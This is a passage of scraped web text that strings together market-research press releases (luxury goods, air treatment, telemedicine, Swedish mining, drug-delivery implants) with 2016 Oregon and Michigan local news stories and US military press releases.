absolute necessity.The key international market players for hard luxury goods operating in ASEAN region includes Gianni Versace S.p.A., LVMH Moet Hennessy Louis Vuitton SA, Compagnie Financiere Richemont SA, Prada S.p.A., Hermes International SCA, Salvatore Ferragamo S.p.A, Prada S.p.A, Ralph Lauren Corp, Christian Dior SE, Gucci, Rolex SA, Bottega Veneta, Louis Vuitton Malletier, Tod's S.p.A. and others.Browse Full Report@Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature.616 Corporate Way, Suite 2-9018Valley Cottage, NY
Market Research on India Air Treatment Products Market 2014 and Analysis to 2020

http://www.futuremarketinsights.com/reports/sample/rep-in-246

http://www.futuremarketinsights.com/toc/rep-in-246

http://www.futuremarketinsights.com/reports/india-air-treatment-products-market

Future Market Insights has announced the addition of the Air Treatment Products Market: India Industry Analysis and Opportunity Assessment 2014 - 2020" report to their offering.The air treatment equipment includes those products which modify or change the technological characteristics and properties of air. This modification may include the treatment of harmful gases present in the air, increasing or decreasing the air temperature, compressing the air, removal of harmful microorganism from the air, increasing or decreasing the air pressure, removal of extreme odours and others. The air treatment equipment includes air compressor, air dryers, air washers, air filters, injectors and others.?On the basis of application the air treatment products are available for both industrial and domestic use. It is also used for roadways vehicles, waterways vehicles such as for ships, marines, and also for airways such as in aeroplane, spaceship, fighter plane and others. For domestic use air treatment equipment are offered to the consumers in the modified form and available in the consumer durable products for their convenient use. The air treatment consumer durable product includes hot air blowers, air conditioners, automatic washing machine, microwave, oven, automatic washer dryers, hair dryers, refrigerators, dishwashers and others.Request Free Report Sample@On the basis of domestic use the air treatment products is sub-segmented into air conditioner, air purifier, humidifiers and dehumidifiers and others. Among all these sub-segments air purifiers are further sub-segmented into air filters purifiers, ionizing purifiers, ozone generators, adsorbents and others. Whereas air conditioners is sub-segmented into room air conditioners, split air conditioners, window air conditioners and others.Globally Asia-pacific is considered to be the highest market for the air treatment products followed by North America and Europe. In Asia Pacific China, India and Japan represent ample opportunities for players in this market. This growth in these countries is supported by increasing number of health conscious consumers and rising disposable income of the consumers.Among all these countries, India accounted for low growth for air treatment products in 2011 due to economic slowdown. Moreover, the demand of air conditioner segment also registered less growth as monsoon arrived early in the country. However, the market growth for air treatment product showed a positive growth in 2013 due to rise in country economic condition and urge of the consumer for better and healthier life. It is expected that India will show a potential growth for air treatment products in the forecasted period. This growth will be supported by rise demand for air conditioners in states such as Uttar Pradesh, Bihar, Maharashtra and others due to rise in heat and temperature. It is expected that air conditioner will occupy the largest position of the pie as the consumers in India are making their switch from ceiling fans or table fans to air conditioner. Among all the sub-segments of air conditioner, split air conditioner is expected to show the highest growth. Furthermore, it has been found that awareness among the consumers for purified air will also fuel the market growth for air treatment products in India. States such as Uttar Pradesh and Gujarat is expected to support the growth of air purifiers as these states possess large number of industries.Request For TOC@In India, high entrant of manufacturing industries, outsourcing companies and rise in commercialization are some of the major drivers supporting the market growth. In addition, increase in number of health consciousness among the consumers coupled with rising disposable income is also expected to fuel the market growth for air treatment products in India.However, the market of air treatment products in India possess some restraining factors. This includes lack of awareness among the consumers regarding the product such as humidifiers, dehumidifiers and others. Additionally, the consumers perceives these products as quite expensive and also it is considered as a luxury product and not an absolute necessity.The key players for air treatment products in India includes Bajaj Electricals Ltd, Godrej & Boyce Mfg Co Ltd., Usha International Ltd., Panasonic Corp, Atlas Copco AB, Eureka Forbes, OSIM International, SANYO Electric Co ., Ltd and others.Browse Full Report@Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature.616 Corporate Way, Suite 2-9018Valley Cottage, NY
Telemedicine Technologies and Services Market: Recent Surveys and Analysis

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http://www.transparencymarketresearch.com/telemedicine-technologies-market.html

According to a new market research report published by Transparency Market Research Telemedicine Technologies and Services Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast 2015 - 2023, the global telemedicine technologies and services market was valued at US$ 21.1 Bn in 2014 and is estimated to reach US$ 86.7 Bn in 2023, expanding at a CAGR of 17.2% from 2015 to 2023.Get Free Sample Research Report:Telemedicine is the union of health care and telecommunication/information technology aimed at providing assistance to individuals in remote areas who do not have access to health care centers in times of need. Critical care and emergency situations are the primary areas for which telemedicine evolved in practice. The health care industry has always been one of the most lucrative, yet steadily growing, industries across the globe. Requirement of health care is termed as critical and crucial to the sustenance of life, hence considered an important industry. Growth of the telemedicine market is primarily attributed to the rise in quality health care services and products adopted by patients worldwide. The telemedicine market has been largely driven by increasing reimbursements received by health care insurance providers that trickle down to the patient population.The rising geriatric population along with increasing cases of physical disability promotes usage of telemedicine among a significant portion of the global population. However, dearth of medical practitioners dedicated to telemedicine service is a major issue globally. Moreover, growing concern among patients about the inadequacy of virtual consultation presents a challenge to the growth of the telemedicine market. The global telemedicine technologies and services market was valued at US$ 21,124.2 Mn in 2014 and is projected to reach US$ 86,754.8 Mn by 2023 at a CAGR of 17.2% from 2015 to 2023.Based on component, the telemedicine technologies and services market has been segmented into hardware, software, and services. The hardware segment has been categorized into videoconferencing unit, imaging unit, vital signs unit, ECG, and others. The videoconferencing unit sub-segment accounted for the largest share of the hardware segment in 2014. The segment will continue to dominate the market until 2023 due to increase in preference for videoconferencing units for telemedicine solutions. The imaging unit segment is expected to expand at the highest CAGR from 2015 to 2023 owing to high demand for imaging services, mostly preferred for radiology and digital pathology services, and rapid technological advancements in the imaging segment. However, concerns over confidentiality of patients medical information is likely to hamper the growth of the telemedicine technologies and services market during the forecast period.Based on software, the telemedicine technologies and services market has been segmented into integrated and standalone. The integrated software segment dominated the market in 2014 due to high adoption rate and technological innovations. Telemedicine services (interactive, store and transfer, and chronic care management) is the most promising segment of the telemedicine market owing to worldwide popularity and ability to provide high definition and quality medical services in remote areas. People in developing nations cannot afford technologically advanced products due to financial crisis and low disposable incomes. Hence, they opt for cost-effective and consistent telemedicine services. Therefore, the services segment is likely to gain momentum in developing countries such as India, China, Brazil, and South Africa.Based on end-user, the global telemedicine technologies and services market has been segmented into telehospital/teleclinic and telehome. The telehospital segment dominated the market primarily due to high adoption rate of technologically advanced and cost-effective innovative telemedicine services and products and rising preference of patients toward telemedicine services for telehospital.The global telemedicine technologies and services market is characterized by the presence of major companies such as Aerotel Medical Systems Ltd., AMD Global Telemedicine, Inc., General Electric Company, Honeywell International, Inc., and LifeWatch AG.Full Research Report on Global Telemedicine Technologies and Services Market:About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.90 State Street, Suite 700 Albany, NY 12207
Swedens Mining Fiscal Regime: Market Trends, Regulations And Competitive Landscape H2 2015

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http://www.marketresearchreports.biz/

"The Report Swedens Mining Fiscal Regime: H2 2015 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"DescriptionSwedens Mining Fiscal Regime: H2 2015SynopsisTimetrics Swedish Fiscal Regime outlines the governing bodies, governing laws, licenses, rights and obligations, and tax-related information on seven commodities: iron ore, copper, lead, nickel, zinc gold and silver.SummaryTimetric's mining fiscal regime covers Sweden, which possesses substantial iron ore deposits and other diversified natural resources, including copper, lead, zinc, gold, silver and tungsten.Download Detail Report With Complete TOC at:ScopeThe report outlines the governing bodies, governing laws, licenses, rights and obligations, and key fiscal terms which includes corporate income tax, fees, capital gains tax, withholding tax, real estate tax, depreciation, loss carry forward and value added tax.Reasons To BuyTo gain an overview of the Sweden's mining fiscal regimeKey HighlightsThe Geological Survey of Sweden (SGU) is an agency that deals with issues related to soil bedrock and groundwaterThe Mining Inspectorate of Sweden is responsible for the administration of mineral resources in the countryThe Minerals Act (1991:45) is the governing act that deals with exploration and exploitation of deposits in SwedenTable of Contents1 Executive Summary2 The Swedish Mining Industry Governing Bodies2.1 Geological Survey of Sweden (Sveriges Geologiska Undersokning)2.1.1 Mining Inspectorate of Sweden (Bergsstaten)3 The Swedish Mining Industry Governing Law3.1 Minerals Act (1991:45)3.1.1 Exploration Permits3.1.2 Area3.1.3 Pre-requisites3.1.4 Validity of permit3.1.5 Transfer, relinquishment and revocation3.2 Exploitation Concession3.2.1 Area3.2.2 Pre-requisites3.2.3 Validity3.2.4 Transfer, relinquishment and revocation4 The Swedish Mining Industry Rights and Obligations4.1 Rights4.2 ObligationsBrowse all latest Press Releases of Market Research Reportsat:About usMarketResearchReports.biz is the most comprehensive collection of market research reports.MarketResearchReports.Biz services are specially designed to save time and money for our clients.We are a one stop solution for all your research needs, our main offerings are syndicated researchreports, custom research, subscription access and consulting services. We serve all sizes and typesof companies spanning across various industriesContactMr. Nachiket90 Sate Street,Suite 700 Albany,NY 12207 USATel: +1-518-621-2074Canada Toll Free: 866-997-4948Website:E: sales@marketresearchreports.biz
Product Proliferation and Rising Acknowledgement of Advantages of Implantable Drug Delivery Devices to Boost Market

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http://www.transparencymarketresearch.com/pressrelease/global-implantable-drug-delivery-devices.htm

http://www.transparencymarketresearch.com

The rising occurrence of cardiovascular diseases and the increasing number of interventional cardiologists are amongst the prime factors fuelling the market for implantable drug delivery devices. Implantable drug delivery devices provide numerous unique advantages over the traditional parenteral or oral drug delivery methods. These devices can offer localized and site-specific delivery, which is of utmost importance in applications such as oncology and cardiology, wherein targeted delivery may enhance the treatments effectiveness and lower its damage or side effects to healthy tissues.Sample Research Brochure:Transparency Market Research (TMR), a market intelligence company, throws light on the top two advantages of using implantable drug delivery devices and also provides data about the key applications of non-biodegradable drug delivery devices. The advantages of these devices are poised to augment the demand for implantable drug delivery devices in the coming years. The prime advantages of implantable drug delivery devices include:1. Convenience: An effective drug concentration in the blood is maintained for a longer duration of time by using techniques including repeated injections or continuous intravenous infusion. However, in these treatments, the patients need to be under uninterrupted medical monitoring. In addition, a short-acting medicine may worsen the condition owing to the fact that the infusion rate or injection quantity needs to be raised for maintaining a therapeutically effective drug level. Implantable drug delivery devices, on the other hand, allow patients to take medication outside of the hospital setting and involve relatively marginal medical observation. In addition, implantation treatments involve a reduced risk of infections and complications as compared to indwelling catheter-based infusion systems.2. Automation of Drug Delivery: By permitting complete elimination or reduction of the patients role in the delivery of the drug, compliance to the treatment regimen is immensely increased. Patients may sometimes forget to take their medicine, but drug delivery via an implant is not dependent on patient input. Though periodical refilling is required in certain types of implantable drug delivery devices, the overall patient involvement is still much less than with traditional systems.Non-biodegradable drug delivery devices are being majorly utilized in areas such as hormone regulation, contraception, oncology, abuse deterrence, and pain management, among others. The key application areas of non-biodegradable drug delivery devices, along with commercial examples, are as follows:1. Womens Health: Transmucosal hormone contraceptives delivery progestin has been introduced into combination products manufactured from silicone, TPU, and EVA. One commercial example of this is Pfizers Estring Silicone Intravaginal Ring (IVR). This device releases 2 mg of estradiol for a period of ninety days for treating symptoms related to menopause. Another example is Merck & Co.s Nexplanon. This device is made using EVA and delivers 68 mg of etonogestrel for a period of three years. This device consists of a rod implanted in a subcutaneous manner in the arm of the patient.2. Treatment of Diabetes: Non-biodegradable implantable drug delivery devices present a unique solutions for diabetics. For instance, U.S.-based Intarcia Therapeutics has developed a non-biodegradable implantable drug delivery device, named ITCA 650, which is a DUROS implant delivery technology, for the treatment of type II diabetes. In addition, the titanium drug-eluting device by Delphor is another example of a device used to treat type II diabetes. This system is also designed for drug delivery for the treatment of hormone growth deficiencies, hepatitis C, and bipolar disorder.Browse Research PR:About UsTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.ContactMr. Sudip SState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Woodland airplane crash

One person is dead and two others are injured after an airplane crashed at the Woodland State Airport on April 21, 2016, Woodland Mayor Will Finn said.

(SW Washington Emergency Service Alerts)

One man is dead and two others are injured after a single-engine airplane crashed at the Woodland State Airport, officials said.

The plane went off the north end of the airport's runway and crashed through a chain-link fence before hitting an embankment, said Division Chief Tim Dawdy, a Clark County Fire & Rescue spokesman. Officials responded to the airport at about 3 p.m. Thursday.

The two men who suffered non-fatal injuries were taken to a hospital for treatment, Dawdy said. He didn't know whether the plane was taking off or landing.

The Columbian reports the plane is a Mooney M20K that's registered to a corporation in Woodinville, Washington. It was headed to Renton, Washington, the newspaper reports.

Woodland Mayor Will Finn said the plane hit a fence that surrounds the city's wastewater treatment facility.

The fence was the only part of the facility to sustain damage, he said.

The airport consists of a 1,953-foot asphalt strip that's next to the Lewis River, according to the Washington State Department of Transportation.

The National Transportation Safety Board will conduct the crash investigation, Dawdy said.

-- Jim Ryan

jryan@oregonian.com

503-221-8005; @Jimryan015
For more than two months, a group of University of Oregon students have sat-in at the administration's Johnson Hall to protest the UO Foundation's investment in fossil fuel companies.

On Thursday, Divest UO organizers ended their nearly 10-week protest with a mock theater-style event marrying the university's foundation to the fossil fuel industry.

Erik Jung, Divest UO co-coordinator, said the group staged the mock marriage ceremony to highlight the "hypocrisy of the university" in touting its sustainability bona fides green values while its foundation continues to invest in the fossil fuel industry. Jung said a crowd of several dozen people watched the festivities outside the campus student union.

"If Phil Knight came out tomorrow and said he wanted divestment," Jung said of the Nike cofounder and UO donor Thursday, "They would divest in a second."

The mock wedding was the culmination of a campus movement that became more visible earlier this year when Jung and others began sitting-in at Johnson Hall from 9 a.m. to 5 p.m., Monday through Friday.

Tobin Klinger, UO spokesman, said the rotating group of students sitting in at the administration building have been "polite and respectful" and have chatted with President Michael Schill and staffers.

Student organizers first started discussing a disinvestment plan two years ago. The UO's Faculty Senate unanimously supported the student's proposal in 2015.

Student groups are asking private donors to give their money to a nationwide divest fund. It's a tax deductible donation, and the money will go to the UO Foundation if its organizers decide to divest by the end of 2017. Jung said the donations would go to the school's general scholarship fund.

As of Thursday, the foundation wasn't changing its stance.

In a statement, UO Foundation President Paul Weinhold said the independent nonprofit is "proud of our investment strategy and performance."

The foundation's endowment reached $750 million last month. "Less than one percent is invested in carbon-based fuel sources," Weinhold said, while more than $50 million is "invested in sustainable initiatives such as solar energy, wind farms, biomass energy, and organic farming."

Jung said the organizers have another meeting scheduled with foundation leaders in June. If nothing is changed, he expects protests to ramp up again.

Students have met previously with UO Foundation investment chief Jay Namyet in 2015. This March, they asked for another meeting, but were rebuffed. "Based on your conduct, our dialogue was over," Namyet wrote in one email posted to the UOMatters blog. "I hope in years to come you will appreciate a life's lesson in this affair." The foundation confirmed the email's veracity.



-- Andrew Theen

atheen@oregonian.com

503-294-4026

@andrewtheen
Dear followers of His Holy Noodleness,

It's only been one week since I wrote to you last, informing you a Nebraska judge ruled your religion is a "joke." I know it was hard to hear that one of your own had been denied his request for Pastafarian accommodations in prison -- not to mention the insults that followed in the judge's decision paper.

But chin up. I have good news this time.

New Zealand formally approved the Church of the Flying Spaghetti Monster's request to solemnize marriages, The Washington Post reports. It appears the first couple to ever marry in a government-sanctioned Pastafarian ceremony wed on Saturday.

Mazel tovermicelli!

The ceremony was, of course, held on a pirate ship in honor of your ancestors.

Toby Ricketts and Marianna Fenn didn't think they needed a wedding to make their commitment official, the Post reports. But when they learned the Church of the Flying Spaghetti Monster had recently been added to New Zealand's list of groups authorized to perform legal marriages, they hustled to be the first wed couple.

Ricketts first wedding vow: "I agree that I will always put salt in the water and allow it to boil before cooking the pasta."

This is great news for Pastafarians worldwide, because who doesn't want a destination wedding in New Zealand?

In this photo taken in February, 2000, the coastline of Kaitoke beach on New Zealand's Great Barrier Island is seen from the air.

Spectacular. Nevermind that friends and family might resent you for the exorbitant travel expense.

-- Melissa Binder

mbinder@oregonian.com

503-294-7656

@binderpdx
hospital.JPG

A sign designates an entrance to the MedStar Georgetown University Hospital in Washington, D.C.

(AP Photo/Molly Riley)

By Andy Davidson, Mylia Christensen, Greg Van Pelt and Abby Sears

In health care today, data is king. It can help doctors, nurses and other health care providers improve the ways they deliver care.

But the real value of this information comes when everyone agrees on what we want to measure, why we want to measure it and who should collect and report the data.

And that's where things get complicated.

Health care providers today are required to submit data on hundreds of health care measures -- 420 in Oregon alone -- to dozens of different organizations and government entities. That leaves us with a disjointed system where improvement is difficult to track and some of the most important information is rarely shared.

Over the last 18 months, our multi-stakeholder group, the Collaborative for Health Information Technology in Oregon (CHITO), has been studying and developing recommendations on this very issue.

When we began to understand the numbers and types of health care data points that state and federal agencies, insurance companies and regional and national quality improvement initiatives require of Oregon's providers, we were alarmed. When we talked to frontline caregivers, health system leaders, clinic administrators and others, we quickly realized that, in the absence of shared goals and a common vision, things were simply getting out of hand.

We discovered that providers have to report the same data in different ways to different collectors and sometimes for different reasons. Measures overlapped, but the data did not match. We found the data analysis was often not communicated back to the health care providers so they could actually improve the quality of care. We found overburdened providers burning time that would be better spent improving the health of their patients.

After our research, driven in large part by talking with both the data collectors and the health care providers, we formed a set of recommendations. At the core, we believe everyone involved in health care must share a unified set of goals for measurement and then focus data collection, measurement and analysis on improving health care for all Oregonians. To do that, we recommend that our state's broader health care community come together with policymakers in a public/private partnership to tackle this issue.

Working together, we can clean out this well-intentioned but tangled thicket of reporting. We are certain that together we can develop a common set of goals and data to improve in patient care.

We released our recommendations as part of our full report, "Aligning Health Measurement in Oregon," earlier this month, and our work will not stop there. We are reaching out to all stakeholders to get feedback and suggestions.

We believe this work can contribute to the implementation of Senate Bill 440, which passed in the 2015 state legislative session, and which charges the Oregon Health Policy Board (OHPB) to tackle this issue. We believe our recommendations both support the Legislature's intent and inform the OHPB as they begin their work in earnest. We encourage the OHPB to use our work as a foundation and to see us as partners in their ongoing efforts.

Oregon has been a leader in health care transformation, from the creation of the Oregon Health Plan in the 1990s, to the more recent start of coordinated care organizations. Now it is time for Oregon to become a leader in focusing and harnessing the power of data to improve our patient care.

*

Andy Davidson is the president and CEO of the Oregon Association of Hospitals and Health Systems; Greg Van Pelt is president of the Oregon Health Leadership Council; Mylia Christensen is the executive director of the Oregon Health Care Quality Corporation; Abby Sears is CEO of OCHIN Inc.
Tubman.JPG

Concept art of Harriet Tubman, whose image will replace Andrew Jackson's, on the $20 bill.

(Photo courtesy Women on 20s/TNS)

By Jennifer Rubin

The Washington Post reports:

The U.S. Treasury will put African-American abolitionist Harriet Tubman on the front of the new $20 bill, replacing former president Andrew Jackson, who will be moved to the back of the bill, Treasury Secretary Jack Lew announced Wednesday. Former Treasury Secretary Alexander Hamilton will remain on the front of the new $10 bill, after the Treasury encountered fierce opposition to its initial plan to demote the founding father to make way for a woman to appear on the paper currency, the department said.

It is not an exaggeration to say this might be the most popular decision of the Obama presidency. (When Hillary Clinton and the Wall Street Journal editorial board agree it is noteworthy.) The reasons are numerous.

The decision spares Republicans the loss of Alexander Hamilton, whom many claim as their own despite his advocacy of a central government stronger than that of the Articles of Confederation. ("Above all, Hamilton understood the powers of government to be limited - not only by the written law of the Constitution, but also by the natural rights affirmed by the consensus of the Founding generation," writes Carson Holloway. "Hamilton favored an activist federal government, but he did so on grounds and within limits that are recognizably part of the American conservative and constitutional tradition.")

Keeping Hamilton reaffirms the impact an exquisite work of art, in this case a Broadway musical about a Founding Father, can have on the public, or at least a not-insignificant segment of it. It is a reminder that history can and should be taught every day, not just inside a classroom. Art in all its varied expressions and the symbols whose importance we too often dismiss (coinage, holidays, building names) are part of the way we transmit our civic culture and transcend divisions.

Tubman's introduction to the front of the $20 is a reminder that our greatest Americans were not all, or solely, politicians. (Ben Franklin on the $100 bill is rarely seen these days.) It is a timely reaffirmation that presidents alone do not make the nation great. The intervention of the Pulitzer Prize-winning Lin-Manuel Miranda in the decision-making makes it that much more delightful, an example of citizen activism at its best.

The currency change banishes slave-owning, Trail of Tears President Andrew Jackson to the back of the . . . er . . . bill. Democrats don't need to venerate him, and Republicans can be spared the celebration of his exaggerated populism. (They've had quite enough of that lately, thank you.) The country is now going to learn a great deal about an immensely interesting and deserving African American woman, a slave who freed herself and others, a spy for the Union and an advocate for women's suffrage. Democrats swoon over the inclusiveness of the choice; Republicans, as several tweeted, get to admire a gun-toting, freedom-loving Christian and Republican.

If nothing else, we can agree on something. That's no small achievement these days.

(c) 2016, The Washington Post

Rubin writes the Right Turn blog for The Washington Post, offering reported opinion from a conservative perspective.
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Saginaw Valley State University will show filmmaker John J. Valadez new PBS documentary, The Head of Joaquin Murrieta, at 6:30 p.m. Friday, April 22, in Wickes 115.

The event is free and open to the public. A panel discussion featuring the filmmaker will follow the screening.

The film follows Valadez quest to find the remains of Joaquin Murrieta, a legendary Mexican outlaw. In the summer of 1853, Murrieta was killed by bounty hunters who put his head in a jar and displayed it across California, charging spectators $1.

Valadez will participate in the events panel discussion. He will be joined by Joseph Guzman interim director of Chicano/Latino Studies at Michigan State University; Elsa Olvera, program director for SVSUs Gear Up; and Rosa Morales, Region 6 director of the National Association of Hispanic Journalists.

Daniel Soza, president of the Saginaw chapter of Latino Leaders for the Enhancement of Advocacy & Development, will moderate the discussion.

SVSU partnered with LLEAD to bring the film to the campus. The project was funded by the Gerald R. Beckwith Constitutional Liberties Fund.
The Mu Alpha Omega Chapter of Alpha Kappa Alpha Sorority is offering financial assistance through its 2016 Summer Camp Enrichment Program.

This program provides financial assistance to families in the Great Lakes Bay Region to cover expenses associated with summer camps and programs. Interested students must be entering grades K-8 and the programs must focus on:
Mid Michigan Community College will host its seventh annual Rust Shaker mountain bike race at 10:30 a.m. April 30 on MMCCs Harrison campus 16-mile mountain bike trail.

More than 120 riders participated in the 2015 Rust Shaker, and the college anticipates that this year will yield another excellent turnout.

Racers will experience wooded and hilly trails, long and gentle climbs, as well as steep, rough terrain. The course winds through a nice combination of fast flowing trails, tighter technical trails and a few short sections of hilly two-tracks, making it challenging and fun for all skill levels.

The Rust Shaker is open to all riders and has multiple classes and divisions. Registration is $30 early until April 28 and $40 on event day, with cash payouts and awards for the winners. Registrations are also taken online at bikereg.com/mmcc-rust-shaker.

Proceeds will go toward MMCC student scholarships and the trail maintenance fund.

For more information, call Meghan Keen at mckeen@midmich.edu or (989) 386-6651 or to register for the race, visit www.midmich.edu/rustshaker.
A Midland Mall official says the closing of the Sears store offers a chance to "evaluate opportunities."

While its too early to announce any plans, its important to note that the mall and Sears store are well located in the market, and we constantly evaluate opportunities like this to enhance the center and increase the attractiveness of our retail mix, said Sean Phillips, regional marketing director for the Midland Mall.

We see the Sears closure as an opportunity that will have a positive impact on the mall, Phillips added. CBL has a long track record of successfully replacing or redeveloping anchor locations that has resulted in a win-win for the consumer and the property."

Sears Holding announced it will be closing its Midland Sears store, located at 6810 Eastman Ave. in the Midland Mall.

The closure, which is set to occur by late July, is part of an extensive list of Sears and Kmart stores set to close this summer. In total, 68 Kmart stores and 10 Sears are slated for closing nationwide.

The company announced in February that it had made the decision to accelerate the closing unprofitable stores, a press release from Sears Holding states.

Other Michigan stores set to close include the Kmart store in Houghton Lake and a Super K store in Taylor. Both of these stores will close in September.

The decision to close stores is a difficult but necessary step as we take aggressive actions to strengthen our company, fund our transformation and restore Sears Holdings to profitability, said Edward S. Lampert, chairman and CEO of Sears Holdings. Were focusing on our best members, our best categories and our best stores as we work to accelerate our transformation.

The press release went on to say that eligible employees in affected stores will receive a severance and will be able to apply for open positions at other area Sears and Kmart stores.

We are committed to treating these associates with respect and compassion during this process, Lampert said.

The Midland Sears store will begin its liquidation sale April 29.

For a complete listing of closing stores, visit www.searsholdings.com/press-releases/pr/1963.
The Soaring Eagle Casino and Resort has revealed a few more details about two phoned-in bomb threats that forced the evacuation of the property late Thursday night.

Erik Rodriguez, public relations interim director, wrote in a press release that the first bomb threat was received at 10:15 p.m. Just after, another bomb threat was called in by a female. At least 2,500 people  including employees and guests at the hotel, casino and slot palace  were evacuated following the bomb threats as a precautionary measure.
Soaring Eagle Casino and Resort is back open following two phoned-in bomb threats that forced the evacuation of the property late Thursday night.

"...(A)ll of our properties are open and operating at this time," Erik Rodriguez, public relations interim director, stated this morning.

Rodriguez said that the first bomb threat was received at 10:15 p.m. Just after, another bomb threat was called in by a woman. At least 2,500 people  including employees and guests at the hotel, casino and slot palace  were evacuated following the bomb threats as a precautionary measure.

Soaring Eagle Casino & Resort is owned and operated by the Saginaw Chippewa Indian Tribe of Michigan.

Tribal Chief Frank Cloutier said in the press release that reopening the casino takes strategic planning from management. Everything was reopened by 8:45 a.m. this morning.

Our guests and employees will always remain a top priority and everything was done to ensure their safety, Cloutier said.

Tribal Police and Tribal Fire were assisted on the scene by Shepherd Police Department, Mount Pleasant City Police, Michigan State Police Bomb Squad and K-9, Isabella County Sheriffs Department, Central Michigan University Police, Mobile Medical Response, Emergency Management Center, Clare City Police Department, Isabella County Dispatch and Midland K-9 Bomb Dogs.

The investigation was concluded and the property was cleared at 5:30 a.m., Rodriguez said. A person of interest has been identified. The press release did not offer further details but stated there is an ongoing investigation.

We appreciate the multi-jurisdictional technical support and value the collaborative efforts by all agencies, Rodriguez wrote.
To the editor:

Last fall, the Michigan House of Representatives unanimously passed legislation granting Michigan patients access to biosimilar medications. The legislation, HB 4812, deals with complex treatments that are based off biologic medications. These drugs are derived from living cells that treat difficult and painful diseases like cancer and rheumatoid arthritis. It is my hope that the Senate will act as well.

One key provision in HB 4812 ensures doctors will be notified when a prescribed biologic is exchanged at the pharmacy for a biosimilar. Despite similarities, patients can react differently to biologics and biosimilars and it is critical that doctors know what medications their patients are begin given.

I urge our areas state senators to act so Michigan can join the 22 states across the nation that have passed laws that support patients.

DIANE BRISTOL

Midland
U.S. Pacific Commands Air Contingent began flying operations at Clark Air Base, Philippines, April 19, with the successful launch of four A-10C Thunderbolt IIs and two HH-60G Pave Hawks.

The aircraft are part of the newly stood up Air Contingent here conducting operations ranging from air and maritime domain awareness, personnel recovery, combating piracy, and assuring all nations have access to air and sea domains throughout the region in accordance with international law.

The A-10s conducted a flying mission through international airspace in the vicinity of Scarborough Shoal west of the Philippines providing air and maritime situational awareness. These missions promote transparency and safety of movement in international waters and airspace, representing the U.S. commitment to ally and partner nations and to the Indo-Asia-Pacific regions continued stability now and for generations to come.

Our job is to ensure air and sea domains remain open in accordance with international law. That is extremely important, international economics depends on it  free trade depends on our ability to move goods, said Col. Larry Card, Commander of the Air Contingent. Theres no nation right now whose economy does not depend on the well-being of the economy of other nations.

The A-10 missions enhance the U.S. military assets in the region upholding freedom of navigation and over flight.

We are out here and were going to do the best we can to achieve the mission; there is no doubt in my mind we will be successful, Card said.



That success is achieved in part by the close partnership held between the U.S. and Philippine militaries. The two countries air and ground forces maintain a close bilateral bond through consistent military exercises

Interoperability with the Philippine military is at the forefront of our mission, Card said. The standup of the Air Contingent promotes this collective focus as we build upon our already strong alliance, and reaffirm our commitment to the Indo-Asia-Pacific region.

Card said it takes more than just aircraft to accomplish this feat, however, as he explained the critical role his Airmen play in this missions overall success.

Our Airmen are the top. Ive worked with the majority of these guys for the last month already and theyve excelled; theyve blown me away with their ability to generate air power and I expect nothing less as we move into this next phase.

All personnel in this first deployment are Air Force Airmen assigned to various Pacific Air Forces bases, and include aircrew, maintainers, logistics and support personnel.

I have a lot of pride in our Airmen; and their ability to quickly understand a mission theyre not accustomed to and within minutes be motivated and execute that mission is truly phenomenal, the colonel said. These Airmen truly are the best of the best.

U.S. Pacific Command plans this first iteration of the Air Contingent mission to last for the next several weeks. Future Air Contingent deployments will be fulfilled with various platforms and personnel from either Air Force or other service components.
ATSUGI, Japan - The "Dambusters" of Strike Fighter Squadron (VFA) 195 concluded their weeklong interoperability training with members of the Japan Air Self-Defense Force (JASDF) 302nd and 305th Tactical Fighter Squadrons (TFS) Benkyoukai Partnership Week on April 15.

The week-long exercise with the JASDF is designed to increase operational effectiveness between the United States Navy and JASDF.

Benkyoukai Partnership Week consisted of a JASDF visit to VFA-195's hangar at Naval Air Facility (NAF) Atsugi, three days of intensive Dissimilar Air Combat Training (DACT), and concluded with the Dambusters visiting the 302nd and 305th hangars at their home base in Hyakuri Air Base, located on Japan's east coast.

The week began when pilots from the 302nd and 305th TFSs made the three and a half hour trip from Hyakuri Air Base to NAF Atsugi to meet with their Dambuster peers. The pilots were greeted by VFA-195s commanding officer Cmdr. Guy Snodgrass, who welcomed them and outlined the Benkyoukai initiative.

"While our two nations enjoy a meaningful strategic relationship, we rarely work alongside each other despite our close proximity," said Snodgrass. "This week's Benkyoukai opportunity is intended to strengthen the partnership between our squadrons, so that we feel confident when operating together and can continue to explore closer ties in the future."

"This is the first time in a decade we have worked with pilots from the U.S. Navy, said Major Fujiwara, a pilot with the 305th TFS. Participating in this initiative enables us to begin connecting the dots and is a first step towards greater cooperation."

After initial meetings, the JASDF pilots were given a tour of the flight line, a chance to view the cockpit of a VFA-195 F/A-18E Super Hornet, and time in the base's flight simulator. Dissimilar air-combat training flights began on Tuesday, starting with one-versus-one air combat maneuvering flights between VFA-195's F/A-18E Super Hornets and the 302nd TFS's F-4EJ Phantom II aircraft. The aircraft met off the East Coast of Japan, where the two squadrons faced off in the dynamic training.

Events continued throughout the week, with morning flights flown with F-4EJ's from the 302nd and afternoon flights conducted with F-15J Eagles from the 305th. VFA-195 pilots were visibly excited by the opportunity to work with the Japanese pilots, especially when flying events with the 302nd.

"This opportunity really brings my career full circle," said Lt. James Davis, a pilot from VFA 195. "My father flew the F-4, so the chance to fly with one up close and personal is a truly unique experience."

